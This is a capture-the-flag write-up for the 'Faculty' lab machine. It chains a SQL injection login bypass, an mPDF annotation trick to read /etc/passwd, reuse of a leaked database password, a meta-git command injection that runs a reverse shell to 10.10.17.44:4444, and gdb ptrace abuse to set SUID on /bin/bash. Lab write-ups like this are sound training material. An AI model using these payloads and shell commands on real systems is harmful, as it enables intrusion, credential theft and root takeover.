Faculty
8 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.169
- Release: 02 / 07 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.169 -p 22,80
Nmap scan report for 10.10.11.169
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: School Faculty Scheduling System
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.92 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.169
, we are redirected to http://faculty.htb
, so we need to add this domain in /etc/hosts
. Then we have this website:
If we try a common SQL injection payload, we will bypass authentication:
The type of SQLi exploited is Boolean-based Blind:
$ curl 'faculty.htb/admin/ajax.php?action=login_faculty' -d "id_no='"
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/scheduling/admin/admin_class.php</b> on line <b>43</b><br />
3
$ curl 'faculty.htb/admin/ajax.php?action=login_faculty' -d "id_no='+or+1=1--+-"
1
$ curl 'faculty.htb/admin/ajax.php?action=login_faculty' -d "id_no='+or+1=2--+-"
3
Now we also have the absolute path for the PHP files used by the server (/var/www/scheduling/admin/admin_class.php
).
The calendar above is not useful for the moment. Let’s apply some fuzzing to enumerate more routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://faculty.htb/FUZZ -e .php
index.php [Status: 302, Size: 12193, Words: 1896, Lines: 359, Duration: 76ms]
login.php [Status: 200, Size: 4860, Words: 270, Lines: 132, Duration: 38ms]
header.php [Status: 200, Size: 2871, Words: 155, Lines: 48, Duration: 38ms]
admin [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 44ms]
test.php [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
topbar.php [Status: 200, Size: 1206, Words: 199, Lines: 37, Duration: 40ms]
[Status: 302, Size: 12193, Words: 1896, Lines: 359, Duration: 39ms]
Alright, let’s go to /admin
. It seems that the cookies remain for this site and we are still authenticated:
Finding a PDF feature
If we click on “Subject List” we are redirected to a page like /admin/index.php?page=subjects
:
It seems that the page
query parameter is vulnerable to Directory Path Traversal or Local File Inclusion, but it is not.
Another option we have here is to export the information to a PDF file:
If we check the metadata of this file using exiftool
we will see that it is produced by mPDF 6.0:
$ curl faculty.htb/mpdf/tmp/OKguepDUWdP3H1K0jRSbJn5MAc.pdf -so - | exiftool -
ExifTool Version Number : 12.42
File Size : 0 bytes
File Modification Date/Time : 2022:07:18 17:57:17+02:00
File Access Date/Time : 2022:07:18 17:57:17+02:00
File Inode Change Date/Time : 2022:07:18 17:57:17+02:00
File Permissions : prw-rw----
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Page Layout : OneColumn
Producer : mPDF 6.0
Create Date : 2022:07:18 16:56:31+01:00
Modify Date : 2022:07:18 16:56:31+01:00
This version of mPDF has some vulnerabilities that lead to Remote Code Execution, but we can’t exploit it. Another vulnerability is the fact that we can add HTML <annotation>
tags to attach local files to the generated PDF file (more information at github.com).
Let’s capture the request with Burp Suite:
It sends Base64 data. If we use CyberChef we will see that it is Base64 encoded and then doubly URL encoded:
So let’s use the <annotation>
tag to get the /etc/passwd
file and encode it as such:
Using the above payload, we get another PDF file:
And here we can see the passwd
attachment:
And indeed, we retrieve the /etc/passwd
file. These are the existing system users:
$ grep sh$ passwd
root:x:0:0:root:/root:/bin/bash
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
Foothold
At this point, we might want to read PHP files. Let’s take a look at /var/www/scheduling/login.php
:
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
include('admin/db_connect.php');
ob_start();
ob_end_flush();
?>
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>School Faculty Scheduling System</title>
<?php include('./header.php'); ?>
<?php
if(isset($_SESSION['login_id']))
header("location:index.php");
?>
</head>
<!-- ... -- >
It is referencing the file /var/www/scheduling/admin/db_connect.php
:
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
And here we have a password (Co.met06aci.dly53ro.per
), that, fortunately, is reused by user gbyolo
in SSH:
$ ssh gbyolo@10.10.11.169
gbyolo@10.10.11.169's password:
-bash-5.0$ whoami
gbyolo
This user is able to run /usr/local/bin/meta-git
as developer
using sudo
:
-bash-5.0$ sudo -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
Lateral movement to user developer
This is a Node.js script:
-bash-5.0$ file /usr/local/bin/meta-git
/usr/local/bin/meta-git: symbolic link to ../lib/node_modules/meta-git/bin/meta-git
-bash-5.0$ file /usr/local/lib/node_modules/meta-git/bin/meta-git
/usr/local/lib/node_modules/meta-git/bin/meta-git: Node.js script, ASCII text executable
-bash-5.0$ cat /usr/local/lib/node_modules/meta-git/bin/meta-git
#!/usr/bin/env node
let loaded = false;
if (loaded) return process.kill();
const program = require('commander');
const debug = require('debug')('meta-git');
program
.command('add', 'Add file contents to the index')
.command('branch', 'List, create, or delete branches')
.command('checkout', 'Switch branches or restore working tree files')
.command('clean', 'Remove untracked files from the working tree')
.command('clone', 'Clone meta and child repositories into new directories')
.command('commit', 'Record changes to the repository')
.command('diff', 'Show changes between commits, commit and working tree, etc')
.command('fetch', 'Download objects and refs from another repository')
.command('merge', 'Join two or more development histories together')
.command('pull', 'Fetch from and integrate with another repository or a local branch')
.command('push', 'Update remote refs along with associated objects')
.command('remote', 'Manage set of tracked repositories')
.command('status', 'Show the working tree status')
.command('tag', 'Create, list, delete or verify a tag object signed with GPG')
.command('update', "Clone any repos that exist in your .meta file but aren't cloned locally")
.parse(process.argv);
loaded = true;
If we search for vulnerabilities of meta-git
we will see a report by snyk.io, which points to HackerOne. As it is stated in the reports, we can perform the following actions to inject a shell command in meta-git clone
, so we can get a reverse shell as developer
:
-bash-5.0$ cd /tmp
-bash-5.0$ mkdir tests
-bash-5.0$ cd tests
-bash-5.0$ touch asdf
-bash-5.0$ echo 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' > /tmp/rev.sh
-bash-5.0$ sudo -u developer /usr/local/bin/meta-git clone 'asdf||bash /tmp/rev.sh'
meta git cloning into 'asdf||bash /tmp/rev.sh' at rev.sh
rev.sh:
fatal: destination path 'asdf' already exists and is not an empty directory.
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.169.
Ncat: Connection from 10.10.11.169:34078.
-bash-5.0$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
-bash-5.0$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
-bash-5.0$ export TERM=xterm
-bash-5.0$ export SHELL=bash
-bash-5.0$ stty rows 50 columns 158
-bash-5.0$ whoami
developer
At this point, we can read the user.txt
flag:
-bash-5.0$ cat /home/developer/user.txt
0ba1d5bb897f62ecbbf99955e4ef0b81
Basic enumeration tells us what to do:
-bash-5.0$ id
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
-bash-5.0$ find / -group debug 2>/dev/null
/usr/bin/gdb
It seems that we are able to use GDB because we belong to debug
. If we enumerate capabilities, it turns out that GDB has cap_sys_ptrace
enabled:
-bash-5.0$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
This is an issue because this capability allows us to attach and debug any process and run arbitrary instructions.
Privilege escalation
In order to escalate privileges, we can list processes run by root
and attach to the corresponding PID (process identifier):
-bash-5.0$ ps -faux | grep root
root 2 0.0 0.0 0 0 ? S 15:10 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 15:10 0:00 \_ [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 15:10 0:00 \_ [rcu_par_gp]
...
root 718 0.0 0.4 238080 9444 ? Ssl 15:10 0:00 /usr/lib/accountsservice/accounts-daemon
root 724 0.0 0.1 81956 3716 ? Ssl 15:10 0:00 /usr/sbin/irqbalance --foreground
root 725 0.0 0.9 26896 18196 ? Ss 15:10 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 728 0.0 0.4 236436 9076 ? Ssl 15:10 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 735 0.0 0.3 17348 7664 ? Ss 15:10 0:00 /lib/systemd/systemd-logind
...
root 968 0.0 0.0 2860 1796 tty1 Ss+ 15:10 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1571 0.0 0.2 38072 4576 ? Ss 15:10 0:00 /usr/lib/postfix/sbin/master -w
-bash-5.0$ gdb -q -p 725
Attaching to process 725
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/18/78e6b475720c7c51969e69ab2d276fae6d1dee.debug...
Reading symbols from /lib/x86_64-linux-gnu/libpthread.so.0...
Reading symbols from /usr/lib/debug/.build-id/7b/4536f41cdaa5888408e82d0836e33dcf436466.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Reading symbols from /lib/x86_64-linux-gnu/libdl.so.2...
...
Reading symbols from /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so...
(No debugging symbols found in /usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so)
0x00007f8d5dbf6967 in __GI___poll (fds=0x25b4a60, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
At this point, we can see that system
(from Glibc) is loaded in memory, so we can call it using a shell command. For instance, let’s add SUID permissions to /bin/bash
:
(gdb) p system
$1 = {int (const char *)} 0x7f8d5db36290 <__libc_system>
(gdb) call system("chmod 4755 /bin/bash")
[Detaching after vfork from child process 53188]
$2 = 0
(gdb) quit
A debugging session is active.
Inferior 1 [process 725] will be detached.
Quit anyway? (y or n) y
Detaching from program: /usr/bin/python3.8, process 725
[Inferior 1 (process 725) detached]
-bash-5.0$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 11:14 /bin/bash
And now /bin/bash
is a SUID binary, so we can execute it as root
:
-bash-5.0$ bash -p
-bash-5.0# cat /root/root.txt
fbe411b0063d04a996b537b337d14d51